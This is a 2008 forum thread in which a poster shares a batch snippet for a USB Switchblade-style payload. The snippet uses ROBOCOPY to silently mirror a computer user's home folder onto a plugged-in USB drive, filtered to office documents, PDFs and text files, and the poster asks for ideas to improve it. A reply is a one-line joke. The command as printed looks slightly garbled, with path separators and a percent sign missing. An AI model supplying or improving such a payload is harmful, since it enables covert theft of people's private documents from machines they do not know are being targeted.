kz26 Posted March 14, 2008 Share Posted March 14, 2008 I wanted a fast and flexible solution for USB Switchblade-based file dumping. And I think I found the perfect tool - ROBOCOPY (Robust file copy) from the Windows Server 2003 Resource Kit. It is a portable, single EXE command-line tool. Robocopy can mirror an entire directory structure to another location (the USB drive) AND allows you to pick what file extensions/types to copy. Other tools I used did one or the other but not both, which was more or less useless. http://www.microsoft.com/downloads/details...;displaylang=en Once you install the Resource Kit, just copy robocopy.exe from the installation directory to your USB drive. The following code is an example of how to integrate it into a payload's runtime script. set dump_ext=*.doc *.docx *.xls *.xlsx *.txt *.rtf *.pdf robocopy.exe "%homedrive%%homepath" %drive%zblade2dumps%computername%files %dump_ext% /MIR /R:0 The /MIR option enables directory mirroring and /R:0 means to skip files that cannot be copied. Robocopy can also do session logging if you want to save a list of all the files it copies. I am already using ROBOCOPY in my custom ZBLADE2 payload, and it works great. I truly believe that this is the best solution by far for file dumping. Please post if you have any suggestions or comments on using Robocopy in a payload - I just remembered this program and would love to see what people think! Quote Link to comment Share on other sites More sharing options...
Famicoman Posted March 14, 2008 Share Posted March 14, 2008 My friends call me switchbalde... You call me- Robocopy. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.